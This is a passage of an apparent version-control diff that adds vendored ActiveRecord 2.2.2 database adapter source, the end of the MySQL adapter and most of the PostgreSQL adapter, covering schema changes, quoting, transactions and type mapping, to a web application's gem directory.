+
+      def rename_table(table_name, new_name)
+        execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}"
+      end
+
+      def change_column_default(table_name, column_name, default) #:nodoc:
+        column = column_for(table_name, column_name)
+        change_column table_name, column_name, column.sql_type, :default => default
+      end
+
+      def change_column_null(table_name, column_name, null, default = nil)
+        column = column_for(table_name, column_name)
+
+        unless null || default.nil?
+          execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+        end
+
+        change_column table_name, column_name, column.sql_type, :null => null
+      end
+
+      def change_column(table_name, column_name, type, options = {}) #:nodoc:
+        column = column_for(table_name, column_name)
+
+        unless options_include_default?(options)
+          options[:default] = column.default
+        end
+
+        unless options.has_key?(:null)
+          options[:null] = column.null
+        end
+
+        change_column_sql = "ALTER TABLE #{quote_table_name(table_name)} CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+        add_column_options!(change_column_sql, options)
+        execute(change_column_sql)
+      end
+
+      def rename_column(table_name, column_name, new_column_name) #:nodoc:
+        options = {}
+        if column = columns(table_name).find { |c| c.name == column_name.to_s }
+          options[:default] = column.default
+          options[:null] = column.null
+        else
+          raise ActiveRecordError, "No such column: #{table_name}.#{column_name}"
+        end
+        current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")["Type"]
+        rename_column_sql = "ALTER TABLE #{quote_table_name(table_name)} CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}"
+        add_column_options!(rename_column_sql, options)
+        execute(rename_column_sql)
+      end
+
+      # Maps logical Rails types to MySQL-specific data types.
+      def type_to_sql(type, limit = nil, precision = nil, scale = nil)
+        return super unless type.to_s == 'integer'
+
+        case limit
+        when 1; 'tinyint'
+        when 2; 'smallint'
+        when 3; 'mediumint'
+        when nil, 4, 11; 'int(11)'  # compatibility with MySQL default
+        when 5..8; 'bigint'
+        else raise(ActiveRecordError, "No integer type has byte size #{limit}")
+        end
+      end
+
+
+      # SHOW VARIABLES LIKE 'name'
+      def show_variable(name)
+        variables = select_all("SHOW VARIABLES LIKE '#{name}'")
+        variables.first['Value'] unless variables.empty?
+      end
+
+      # Returns a table's primary key and belonging sequence.
+      def pk_and_sequence_for(table) #:nodoc:
+        keys = []
+        execute("describe #{quote_table_name(table)}").each_hash do |h|
+          keys << h["Field"]if h["Key"] == "PRI"
+        end
+        keys.length == 1 ? [keys.first, nil] : nil
+      end
+
+      def case_sensitive_equality_operator
+        "= BINARY"
+      end
+
+      def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
+        where_sql
+      end
+
+      private
+        def connect
+          @connection.reconnect = true if @connection.respond_to?(:reconnect=)
+
+          encoding = @config[:encoding]
+          if encoding
+            @connection.options(Mysql::SET_CHARSET_NAME, encoding) rescue nil
+          end
+
+          if @config[:sslca] || @config[:sslkey]
+            @connection.ssl_set(@config[:sslkey], @config[:sslcert], @config[:sslca], @config[:sslcapath], @config[:sslcipher])
+          end
+
+          @connection.real_connect(*@connection_options)
+          configure_connection
+        end
+
+        def configure_connection
+          encoding = @config[:encoding]
+          execute("SET NAMES '#{encoding}'") if encoding
+
+          # By default, MySQL 'where id is null' selects the last inserted id.
+          # Turn this off. http://dev.rubyonrails.org/ticket/6778
+          execute("SET SQL_AUTO_IS_NULL=0")
+        end
+
+        def select(sql, name = nil)
+          @connection.query_with_result = true
+          result = execute(sql, name)
+          rows = result.all_hashes
+          result.free
+          rows
+        end
+
+        def supports_views?
+          version[0] >= 5
+        end
+
+        def version
+          @version ||= @connection.server_info.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
+        end
+
+        def column_for(table_name, column_name)
+          unless column = columns(table_name).find { |c| c.name == column_name.to_s }
+            raise "No such column: #{table_name}.#{column_name}"
+          end
+          column
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/postgresql_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/postgresql_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/postgresql_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1065 @@
+require 'active_record/connection_adapters/abstract_adapter'
+
+begin
+  require_library_or_gem 'pg'
+rescue LoadError => e
+  begin
+    require_library_or_gem 'postgres'
+    class PGresult
+      alias_method :nfields, :num_fields unless self.method_defined?(:nfields)
+      alias_method :ntuples, :num_tuples unless self.method_defined?(:ntuples)
+      alias_method :ftype, :type unless self.method_defined?(:ftype)
+      alias_method :cmd_tuples, :cmdtuples unless self.method_defined?(:cmd_tuples)
+    end
+  rescue LoadError
+    raise e
+  end
+end
+
+module ActiveRecord
+  class Base
+    # Establishes a connection to the database that's used by all Active Record objects
+    def self.postgresql_connection(config) # :nodoc:
+      config = config.symbolize_keys
+      host     = config[:host]
+      port     = config[:port] || 5432
+      username = config[:username].to_s if config[:username]
+      password = config[:password].to_s if config[:password]
+
+      if config.has_key?(:database)
+        database = config[:database]
+      else
+        raise ArgumentError, "No database specified. Missing argument: database."
+      end
+
+      # The postgres drivers don't allow the creation of an unconnected PGconn object,
+      # so just pass a nil connection object for the time being.
+      ConnectionAdapters::PostgreSQLAdapter.new(nil, logger, [host, port, nil, nil, database, username, password], config)
+    end
+  end
+
+  module ConnectionAdapters
+    # PostgreSQL-specific extensions to column definitions in a table.
+    class PostgreSQLColumn < Column #:nodoc:
+      # Instantiates a new PostgreSQL column definition in a table.
+      def initialize(name, default, sql_type = nil, null = true)
+        super(name, self.class.extract_value_from_default(default), sql_type, null)
+      end
+
+      private
+        def extract_limit(sql_type)
+          case sql_type
+          when /^bigint/i;    8
+          when /^smallint/i;  2
+          else super
+          end
+        end
+
+        # Extracts the scale from PostgreSQL-specific data types.
+        def extract_scale(sql_type)
+          # Money type has a fixed scale of 2.
+          sql_type =~ /^money/ ? 2 : super
+        end
+
+        # Extracts the precision from PostgreSQL-specific data types.
+        def extract_precision(sql_type)
+          # Actual code is defined dynamically in PostgreSQLAdapter.connect
+          # depending on the server specifics
+          super
+        end
+  
+        # Maps PostgreSQL-specific data types to logical Rails types.
+        def simplified_type(field_type)
+          case field_type
+            # Numeric and monetary types
+            when /^(?:real|double precision)$/
+              :float
+            # Monetary types
+            when /^money$/
+              :decimal
+            # Character types
+            when /^(?:character varying|bpchar)(?:\(\d+\))?$/
+              :string
+            # Binary data types
+            when /^bytea$/
+              :binary
+            # Date/time types
+            when /^timestamp with(?:out)? time zone$/
+              :datetime
+            when /^interval$/
+              :string
+            # Geometric types
+            when /^(?:point|line|lseg|box|"?path"?|polygon|circle)$/
+              :string
+            # Network address types
+            when /^(?:cidr|inet|macaddr)$/
+              :string
+            # Bit strings
+            when /^bit(?: varying)?(?:\(\d+\))?$/
+              :string
+            # XML type
+            when /^xml$/
+              :string
+            # Arrays
+            when /^\D+\[\]$/
+              :string              
+            # Object identifier types
+            when /^oid$/
+              :integer
+            # Pass through all types that are not specific to PostgreSQL.
+            else
+              super
+          end
+        end
+  
+        # Extracts the value from a PostgreSQL column default definition.
+        def self.extract_value_from_default(default)
+          case default
+            # Numeric types
+            when /\A\(?(-?\d+(\.\d*)?\)?)\z/
+              $1
+            # Character types
+            when /\A'(.*)'::(?:character varying|bpchar|text)\z/m
+              $1
+            # Character types (8.1 formatting)
+            when /\AE'(.*)'::(?:character varying|bpchar|text)\z/m
+              $1.gsub(/\\(\d\d\d)/) { $1.oct.chr }
+            # Binary data types
+            when /\A'(.*)'::bytea\z/m
+              $1
+            # Date/time types
+            when /\A'(.+)'::(?:time(?:stamp)? with(?:out)? time zone|date)\z/
+              $1
+            when /\A'(.*)'::interval\z/
+              $1
+            # Boolean type
+            when 'true'
+              true
+            when 'false'
+              false
+            # Geometric types
+            when /\A'(.*)'::(?:point|line|lseg|box|"?path"?|polygon|circle)\z/
+              $1
+            # Network address types
+            when /\A'(.*)'::(?:cidr|inet|macaddr)\z/
+              $1
+            # Bit string types
+            when /\AB'(.*)'::"?bit(?: varying)?"?\z/
+              $1
+            # XML type
+            when /\A'(.*)'::xml\z/m
+              $1
+            # Arrays
+            when /\A'(.*)'::"?\D+"?\[\]\z/
+              $1
+            # Object identifier types
+            when /\A-?\d+\z/
+              $1
+            else
+              # Anything else is blank, some user type, or some function
+              # and we can't know the value of that, so return nil.
+              nil
+          end
+        end
+    end
+  end
+
+  module ConnectionAdapters
+    # The PostgreSQL adapter works both with the native C (http://ruby.scripting.ca/postgres/) and the pure
+    # Ruby (available both as gem and from http://rubyforge.org/frs/?group_id=234&release_id=1944) drivers.
+    #
+    # Options:
+    #
+    # * <tt>:host</tt> - Defaults to "localhost".
+    # * <tt>:port</tt> - Defaults to 5432.
+    # * <tt>:username</tt> - Defaults to nothing.
+    # * <tt>:password</tt> - Defaults to nothing.
+    # * <tt>:database</tt> - The name of the database. No default, must be provided.
+    # * <tt>:schema_search_path</tt> - An optional schema search path for the connection given as a string of comma-separated schema names.  This is backward-compatible with the <tt>:schema_order</tt> option.
+    # * <tt>:encoding</tt> - An optional client encoding that is used in a <tt>SET client_encoding TO <encoding></tt> call on the connection.
+    # * <tt>:min_messages</tt> - An optional client min messages that is used in a <tt>SET client_min_messages TO <min_messages></tt> call on the connection.
+    # * <tt>:allow_concurrency</tt> - If true, use async query methods so Ruby threads don't deadlock; otherwise, use blocking query methods.
+    class PostgreSQLAdapter < AbstractAdapter
+      ADAPTER_NAME = 'PostgreSQL'.freeze
+
+      NATIVE_DATABASE_TYPES = {
+        :primary_key => "serial primary key".freeze,
+        :string      => { :name => "character varying", :limit => 255 },
+        :text        => { :name => "text" },
+        :integer     => { :name => "integer" },
+        :float       => { :name => "float" },
+        :decimal     => { :name => "decimal" },
+        :datetime    => { :name => "timestamp" },
+        :timestamp   => { :name => "timestamp" },
+        :time        => { :name => "time" },
+        :date        => { :name => "date" },
+        :binary      => { :name => "bytea" },
+        :boolean     => { :name => "boolean" }
+      }
+
+      # Returns 'PostgreSQL' as adapter name for identification purposes.
+      def adapter_name
+        ADAPTER_NAME
+      end
+
+      # Initializes and connects a PostgreSQL adapter.
+      def initialize(connection, logger, connection_parameters, config)
+        super(connection, logger)
+        @connection_parameters, @config = connection_parameters, config
+
+        connect
+      end
+
+      # Is this connection alive and ready for queries?
+      def active?
+        if @connection.respond_to?(:status)
+          @connection.status == PGconn::CONNECTION_OK
+        else
+          # We're asking the driver, not ActiveRecord, so use @connection.query instead of #query
+          @connection.query 'SELECT 1'
+          true
+        end
+      # postgres-pr raises a NoMethodError when querying if no connection is available.
+      rescue PGError, NoMethodError
+        false
+      end
+
+      # Close then reopen the connection.
+      def reconnect!
+        if @connection.respond_to?(:reset)
+          @connection.reset
+          configure_connection
+        else
+          disconnect!
+          connect
+        end
+      end
+
+      # Close the connection.
+      def disconnect!
+        @connection.close rescue nil
+      end
+
+      def native_database_types #:nodoc:
+        NATIVE_DATABASE_TYPES
+      end
+
+      # Does PostgreSQL support migrations?
+      def supports_migrations?
+        true
+      end
+
+      # Does PostgreSQL support standard conforming strings?
+      def supports_standard_conforming_strings?
+        # Temporarily set the client message level above error to prevent unintentional
+        # error messages in the logs when working on a PostgreSQL database server that
+        # does not support standard conforming strings.
+        client_min_messages_old = client_min_messages
+        self.client_min_messages = 'panic'
+
+        # postgres-pr does not raise an exception when client_min_messages is set higher
+        # than error and "SHOW standard_conforming_strings" fails, but returns an empty
+        # PGresult instead.
+        has_support = query('SHOW standard_conforming_strings')[0][0] rescue false
+        self.client_min_messages = client_min_messages_old
+        has_support
+      end
+
+      def supports_insert_with_returning?
+        postgresql_version >= 80200
+      end
+
+      def supports_ddl_transactions?
+        true
+      end
+
+      # Returns the configured supported identifier length supported by PostgreSQL,
+      # or report the default of 63 on PostgreSQL 7.x.
+      def table_alias_length
+        @table_alias_length ||= (postgresql_version >= 80000 ? query('SHOW max_identifier_length')[0][0].to_i : 63)
+      end
+
+      # QUOTING ==================================================
+
+      # Escapes binary strings for bytea input to the database.
+      def escape_bytea(value)
+        if PGconn.respond_to?(:escape_bytea)
+          self.class.instance_eval do
+            define_method(:escape_bytea) do |value|
+              PGconn.escape_bytea(value) if value
+            end
+          end
+        else
+          self.class.instance_eval do
+            define_method(:escape_bytea) do |value|
+              if value
+                result = ''
+                value.each_byte { |c| result << sprintf('\\\\%03o', c) }
+                result
+              end
+            end
+          end
+        end
+        escape_bytea(value)
+      end
+
+      # Unescapes bytea output from a database to the binary string it represents.
+      # NOTE: This is NOT an inverse of escape_bytea! This is only to be used
+      #       on escaped binary output from database drive.
+      def unescape_bytea(value)
+        # In each case, check if the value actually is escaped PostgreSQL bytea output
+        # or an unescaped Active Record attribute that was just written.
+        if PGconn.respond_to?(:unescape_bytea)
+          self.class.instance_eval do
+            define_method(:unescape_bytea) do |value|
+              if value =~ /\\\d{3}/
+                PGconn.unescape_bytea(value)
+              else
+                value
+              end
+            end
+          end
+        else
+          self.class.instance_eval do
+            define_method(:unescape_bytea) do |value|
+              if value =~ /\\\d{3}/
+                result = ''
+                i, max = 0, value.size
+                while i < max
+                  char = value[i]
+                  if char == ?\\
+                    if value[i+1] == ?\\
+                      char = ?\\
+                      i += 1
+                    else
+                      char = value[i+1..i+3].oct
+                      i += 3
+                    end
+                  end
+                  result << char
+                  i += 1
+                end
+                result
+              else
+                value
+              end
+            end
+          end
+        end
+        unescape_bytea(value)
+      end
+
+      # Quotes PostgreSQL-specific data types for SQL input.
+      def quote(value, column = nil) #:nodoc:
+        if value.kind_of?(String) && column && column.type == :binary
+          "#{quoted_string_prefix}'#{escape_bytea(value)}'"
+        elsif value.kind_of?(String) && column && column.sql_type =~ /^xml$/
+          "xml '#{quote_string(value)}'"
+        elsif value.kind_of?(Numeric) && column && column.sql_type =~ /^money$/
+          # Not truly string input, so doesn't require (or allow) escape string syntax.
+          "'#{value.to_s}'"
+        elsif value.kind_of?(String) && column && column.sql_type =~ /^bit/
+          case value
+            when /^[01]*$/
+              "B'#{value}'" # Bit-string notation
+            when /^[0-9A-F]*$/i
+              "X'#{value}'" # Hexadecimal notation
+          end
+        else
+          super
+        end
+      end
+
+      # Quotes strings for use in SQL input in the postgres driver for better performance.
+      def quote_string(s) #:nodoc:
+        if PGconn.respond_to?(:escape)
+          self.class.instance_eval do
+            define_method(:quote_string) do |s|
+              PGconn.escape(s)
+            end
+          end
+        else
+          # There are some incorrectly compiled postgres drivers out there
+          # that don't define PGconn.escape.
+          self.class.instance_eval do
+            remove_method(:quote_string)
+          end
+        end
+        quote_string(s)
+      end
+
+      # Quotes column names for use in SQL queries.
+      def quote_column_name(name) #:nodoc:
+        %("#{name}")
+      end
+
+      # Quote date/time values for use in SQL input. Includes microseconds
+      # if the value is a Time responding to usec.
+      def quoted_date(value) #:nodoc:
+        if value.acts_like?(:time) && value.respond_to?(:usec)
+          "#{super}.#{sprintf("%06d", value.usec)}"
+        else
+          super
+        end
+      end
+
+      # REFERENTIAL INTEGRITY ====================================
+
+      def supports_disable_referential_integrity?() #:nodoc:
+        version = query("SHOW server_version")[0][0].split('.')
+        (version[0].to_i >= 8 && version[1].to_i >= 1) ? true : false
+      rescue
+        return false
+      end
+
+      def disable_referential_integrity(&block) #:nodoc:
+        if supports_disable_referential_integrity?() then
+          execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER ALL" }.join(";"))
+        end
+        yield
+      ensure
+        if supports_disable_referential_integrity?() then
+          execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} ENABLE TRIGGER ALL" }.join(";"))
+        end
+      end
+
+      # DATABASE STATEMENTS ======================================
+
+      # Executes a SELECT query and returns an array of rows. Each row is an
+      # array of field values.
+      def select_rows(sql, name = nil)
+        select_raw(sql, name).last
+      end
+
+      # Executes an INSERT query and returns the new record's ID
+      def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
+        # Extract the table from the insert sql. Yuck.
+        table = sql.split(" ", 4)[2].gsub('"', '')
+
+        # Try an insert with 'returning id' if available (PG >= 8.2)
+        if supports_insert_with_returning?
+          pk, sequence_name = *pk_and_sequence_for(table) unless pk
+          if pk
+            id = select_value("#{sql} RETURNING #{quote_column_name(pk)}")
+            clear_query_cache
+            return id
+          end
+        end
+
+        # Otherwise, insert then grab last_insert_id.
+        if insert_id = super
+          insert_id
+        else
+          # If neither pk nor sequence name is given, look them up.
+          unless pk || sequence_name
+            pk, sequence_name = *pk_and_sequence_for(table)
+          end
+
+          # If a pk is given, fallback to default sequence name.
+          # Don't fetch last insert id for a table without a pk.
+          if pk && sequence_name ||= default_sequence_name(table, pk)
+            last_insert_id(table, sequence_name)
+          end
+        end
+      end
+
+      # create a 2D array representing the result set
+      def result_as_array(res) #:nodoc:
+        # check if we have any binary column and if they need escaping
+        unescape_col = []
+        for j in 0...res.nfields do
+          # unescape string passed BYTEA field (OID == 17)
+          unescape_col << ( res.ftype(j)==17 )
+        end
+
+        ary = []
+        for i in 0...res.ntuples do
+          ary << []
+          for j in 0...res.nfields do
+            data = res.getvalue(i,j)
+            data = unescape_bytea(data) if unescape_col[j] and data.is_a?(String)
+            ary[i] << data
+          end
+        end
+        return ary
+      end
+
+
+      # Queries the database and returns the results in an Array-like object
+      def query(sql, name = nil) #:nodoc:
+        log(sql, name) do
+          if @async
+            res = @connection.async_exec(sql)
+          else
+            res = @connection.exec(sql)
+          end
+          return result_as_array(res)
+        end
+      end
+
+      # Executes an SQL statement, returning a PGresult object on success
+      # or raising a PGError exception otherwise.
+      def execute(sql, name = nil)
+        log(sql, name) do
+          if @async
+            @connection.async_exec(sql)
+          else
+            @connection.exec(sql)
+          end
+        end
+      end
+
+      # Executes an UPDATE query and returns the number of affected tuples.
+      def update_sql(sql, name = nil)
+        super.cmd_tuples
+      end
+
+      # Begins a transaction.
+      def begin_db_transaction
+        execute "BEGIN"
+      end
+
+      # Commits a transaction.
+      def commit_db_transaction
+        execute "COMMIT"
+      end
+
+      # Aborts a transaction.
+      def rollback_db_transaction
+        execute "ROLLBACK"
+      end
+
+      # ruby-pg defines Ruby constants for transaction status,
+      # ruby-postgres does not.
+      PQTRANS_IDLE = defined?(PGconn::PQTRANS_IDLE) ? PGconn::PQTRANS_IDLE : 0
+
+      # Check whether a transaction is active.
+      def transaction_active?
+        @connection.transaction_status != PQTRANS_IDLE
+      end
+
+      # Wrap a block in a transaction.  Returns result of block.
+      def transaction(start_db_transaction = true)
+        transaction_open = false
+        begin
+          if block_given?
+            if start_db_transaction
+              begin_db_transaction
+              transaction_open = true
+            end
+            yield
+          end
+        rescue Exception => database_transaction_rollback
+          if transaction_open && transaction_active?
+            transaction_open = false
+            rollback_db_transaction
+          end
+          raise unless database_transaction_rollback.is_a? ActiveRecord::Rollback
+        end
+      ensure
+        if transaction_open && transaction_active?
+          begin
+            commit_db_transaction
+          rescue Exception => database_transaction_rollback
+            rollback_db_transaction
+            raise
+          end
+        end
+      end
+
+
+      # SCHEMA STATEMENTS ========================================
+
+      def recreate_database(name) #:nodoc:
+        drop_database(name)
+        create_database(name)
+      end
+
+      # Create a new PostgreSQL database.  Options include <tt>:owner</tt>, <tt>:template</tt>,
+      # <tt>:encoding</tt>, <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses
+      # <tt>:charset</tt> while PostgreSQL uses <tt>:encoding</tt>).
+      #
+      # Example:
+      #   create_database config[:database], config
+      #   create_database 'foo_development', :encoding => 'unicode'
+      def create_database(name, options = {})
+        options = options.reverse_merge(:encoding => "utf8")
+
+        option_string = options.symbolize_keys.sum do |key, value|
+          case key
+          when :owner
+            " OWNER = \"#{value}\""
+          when :template
+            " TEMPLATE = \"#{value}\""
+          when :encoding
+            " ENCODING = '#{value}'"
+          when :tablespace
+            " TABLESPACE = \"#{value}\""
+          when :connection_limit
+            " CONNECTION LIMIT = #{value}"
+          else
+            ""
+          end
+        end
+
+        execute "CREATE DATABASE #{quote_table_name(name)}#{option_string}"
+      end
+
+      # Drops a PostgreSQL database
+      #
+      # Example:
+      #   drop_database 'matt_development'
+      def drop_database(name) #:nodoc:
+        if postgresql_version >= 80200
+          execute "DROP DATABASE IF EXISTS #{quote_table_name(name)}"
+        else
+          begin
+            execute "DROP DATABASE #{quote_table_name(name)}"
+          rescue ActiveRecord::StatementInvalid
+            @logger.warn "#{name} database doesn't exist." if @logger
+          end
+        end
+      end
+
+
+      # Returns the list of all tables in the schema search path or a specified schema.
+      def tables(name = nil)
+        schemas = schema_search_path.split(/,/).map { |p| quote(p) }.join(',')
+        query(<<-SQL, name).map { |row| row[0] }
+          SELECT tablename
+            FROM pg_tables
+           WHERE schemaname IN (#{schemas})
+        SQL
+      end
+
+      # Returns the list of all indexes for a table.
+      def indexes(table_name, name = nil)
+         schemas = schema_search_path.split(/,/).map { |p| quote(p) }.join(',')
+         result = query(<<-SQL, name)
+           SELECT distinct i.relname, d.indisunique, a.attname
+             FROM pg_class t, pg_class i, pg_index d, pg_attribute a
+           WHERE i.relkind = 'i'
+             AND d.indexrelid = i.oid
+             AND d.indisprimary = 'f'
+             AND t.oid = d.indrelid
+             AND t.relname = '#{table_name}'
+             AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname IN (#{schemas}) )
+             AND a.attrelid = t.oid
+             AND ( d.indkey[0]=a.attnum OR d.indkey[1]=a.attnum
+                OR d.indkey[2]=a.attnum OR d.indkey[3]=a.attnum
+                OR d.indkey[4]=a.attnum OR d.indkey[5]=a.attnum
+                OR d.indkey[6]=a.attnum OR d.indkey[7]=a.attnum
+                OR d.indkey[8]=a.attnum OR d.indkey[9]=a.attnum )
+          ORDER BY i.relname
+        SQL
+
+        current_index = nil
+        indexes = []
+
+        result.each do |row|
+          if current_index != row[0]
+            indexes << IndexDefinition.new(table_name, row[0], row[1] == "t", [])
+            current_index = row[0]
+          end
+
+          indexes.last.columns << row[2]
+        end
+
+        indexes
+      end
+
+      # Returns the list of all column definitions for a table.
+      def columns(table_name, name = nil)
+        # Limit, precision, and scale are all handled by the superclass.
+        column_definitions(table_name).collect do |name, type, default, notnull|
+          PostgreSQLColumn.new(name, default, type, notnull == 'f')
+        end
+      end
+
+      # Returns the current database name.
+      def current_database
+        query('select current_database()')[0][0]
+      end
+
+      # Returns the current database encoding format.
+      def encoding
+        query(<<-end_sql)[0][0]
+          SELECT pg_encoding_to_char(pg_database.encoding) FROM pg_database
+          WHERE pg_database.datname LIKE '#{current_database}'
+        end_sql
+      end
+
+      # Sets the schema search path to a string of comma-separated schema names.
+      # Names beginning with $ have to be quoted (e.g. $user => '$user').
+      # See: http://www.postgresql.org/docs/current/static/ddl-schemas.html
+      #
+      # This should be not be called manually but set in database.yml.
+      def schema_search_path=(schema_csv)
+        if schema_csv
+          execute "SET search_path TO #{schema_csv}"
+          @schema_search_path = schema_csv
+        end
+      end
+
+      # Returns the active schema search path.
+      def schema_search_path
+        @schema_search_path ||= query('SHOW search_path')[0][0]
+      end
+
+      # Returns the current client message level.
+      def client_min_messages
+        query('SHOW client_min_messages')[0][0]
+      end
+
+      # Set the client message level.
+      def client_min_messages=(level)
+        execute("SET client_min_messages TO '#{level}'")
+      end
+
+      # Returns the sequence name for a table's primary key or some other specified key.
+      def default_sequence_name(table_name, pk = nil) #:nodoc:
+        default_pk, default_seq = pk_and_sequence_for(table_name)
+        default_seq || "#{table_name}_#{pk || default_pk || 'id'}_seq"
+      end
+
+      # Resets the sequence of a table's primary key to the maximum value.
+      def reset_pk_sequence!(table, pk = nil, sequence = nil) #:nodoc:
+        unless pk and sequence
+          default_pk, default_sequence = pk_and_sequence_for(table)
+          pk ||= default_pk
+          sequence ||= default_sequence
+        end
+        if pk
+          if sequence
+            quoted_sequence = quote_column_name(sequence)
+
+            select_value <<-end_sql, 'Reset sequence'
+              SELECT setval('#{quoted_sequence}', (SELECT COALESCE(MAX(#{quote_column_name pk})+(SELECT increment_by FROM #{quoted_sequence}), (SELECT min_value FROM #{quoted_sequence})) FROM #{quote_table_name(table)}), false)
+            end_sql
+          else
+            @logger.warn "#{table} has primary key #{pk} with no default sequence" if @logger
+          end
+        end
+      end
+
+      # Returns a table's primary key and belonging sequence.
+      def pk_and_sequence_for(table) #:nodoc:
+        # First try looking for a sequence with a dependency on the
+        # given table's primary key.
+        result = query(<<-end_sql, 'PK and serial sequence')[0]
+          SELECT attr.attname, seq.relname
+          FROM pg_class      seq,
+               pg_attribute  attr,
+               pg_depend     dep,
+               pg_namespace  name,
+               pg_constraint cons
+          WHERE seq.oid           = dep.objid
+            AND seq.relkind       = 'S'
+            AND attr.attrelid     = dep.refobjid
+            AND attr.attnum       = dep.refobjsubid
+            AND attr.attrelid     = cons.conrelid
+            AND attr.attnum       = cons.conkey[1]
+            AND cons.contype      = 'p'
+            AND dep.refobjid      = '#{table}'::regclass
+        end_sql
+
+        if result.nil? or result.empty?
+          # If that fails, try parsing the primary key's default value.
+          # Support the 7.x and 8.0 nextval('foo'::text) as well as
+          # the 8.1+ nextval('foo'::regclass).
+          result = query(<<-end_sql, 'PK and custom sequence')[0]
+            SELECT attr.attname,
+              CASE
+                WHEN split_part(def.adsrc, '''', 2) ~ '.' THEN
+                  substr(split_part(def.adsrc, '''', 2),
+                         strpos(split_part(def.adsrc, '''', 2), '.')+1)
+                ELSE split_part(def.adsrc, '''', 2)
+              END
+            FROM pg_class       t
+            JOIN pg_attribute   attr ON (t.oid = attrelid)
+            JOIN pg_attrdef     def  ON (adrelid = attrelid AND adnum = attnum)
+            JOIN pg_constraint  cons ON (conrelid = adrelid AND adnum = conkey[1])
+            WHERE t.oid = '#{table}'::regclass
+              AND cons.contype = 'p'
+              AND def.adsrc ~* 'nextval'
+          end_sql
+        end
+
+        # [primary_key, sequence]
+        [result.first, result.last]
+      rescue
+        nil
+      end
+
+      # Renames a table.
+      def rename_table(name, new_name)
+        execute "ALTER TABLE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}"
+      end
+
+      # Adds a new column to the named table.
+      # See TableDefinition#column for details of the options you can use.
+      def add_column(table_name, column_name, type, options = {})
+        default = options[:default]
+        notnull = options[:null] == false
+
+        # Add the column.
+        execute("ALTER TABLE #{quote_table_name(table_name)} ADD COLUMN #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}")
+
+        change_column_default(table_name, column_name, default) if options_include_default?(options)
+        change_column_null(table_name, column_name, false, default) if notnull
+      end
+
+      # Changes the column of a table.
+      def change_column(table_name, column_name, type, options = {})
+        quoted_table_name = quote_table_name(table_name)
+
+        begin
+          execute "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+        rescue ActiveRecord::StatementInvalid => e
+          raise e if postgresql_version > 80000
+          # This is PostgreSQL 7.x, so we have to use a more arcane way of doing it.
+          begin
+            begin_db_transaction
+            tmp_column_name = "#{column_name}_ar_tmp"
+            add_column(table_name, tmp_column_name, type, options)
+            execute "UPDATE #{quoted_table_name} SET #{quote_column_name(tmp_column_name)} = CAST(#{quote_column_name(column_name)} AS #{type_to_sql(type, options[:limit], options[:precision], options[:scale])})"
+            remove_column(table_name, column_name)
+            rename_column(table_name, tmp_column_name, column_name)
+            commit_db_transaction
+          rescue
+            rollback_db_transaction
+          end
+        end
+
+        change_column_default(table_name, column_name, options[:default]) if options_include_default?(options)
+        change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)
+      end
+
+      # Changes the default value of a table column.
+      def change_column_default(table_name, column_name, default)
+        execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} SET DEFAULT #{quote(default)}"
+      end
+
+      def change_column_null(table_name, column_name, null, default = nil)
+        unless null || default.nil?
+          execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+        end
+        execute("ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL")
+      end
+
+      # Renames a column in a table.
+      def rename_column(table_name, column_name, new_column_name)
+        execute "ALTER TABLE #{quote_table_name(table_name)} RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}"
+      end
+
+      # Drops an index from a table.
+      def remove_index(table_name, options = {})
+        execute "DROP INDEX #{index_name(table_name, options)}"
+      end
+
+      # Maps logical Rails types to PostgreSQL-specific data types.
+      def type_to_sql(type, limit = nil, precision = nil, scale = nil)
+        return super unless type.to_s == 'integer'
+
+        case limit
+          when 1..2;      'smallint'
+          when 3..4, nil; 'integer'
+          when 5..8;      'bigint'
+          else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a numeric with precision 0 instead.")
+        end
+      end
+
+      # Returns a SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
+      #
+      # PostgreSQL requires the ORDER BY columns in the select list for distinct queries, and
+      # requires that the ORDER BY include the distinct column.
+      #
+      #   distinct("posts.id", "posts.created_at desc")
+      def distinct(columns, order_by) #:nodoc:
+        return "DISTINCT #{columns}" if order_by.blank?
+
+        # Construct a clean list of column names from the ORDER BY clause, removing
+        # any ASC/DESC modifiers
+        order_columns = order_by.split(',').collect { |s| s.split.first }
+        order_columns.delete_if &:blank?
+        order_columns = order_columns.zip((0...order_columns.size).to_a).map { |s,i| "#{s} AS alias_#{i}" }
+
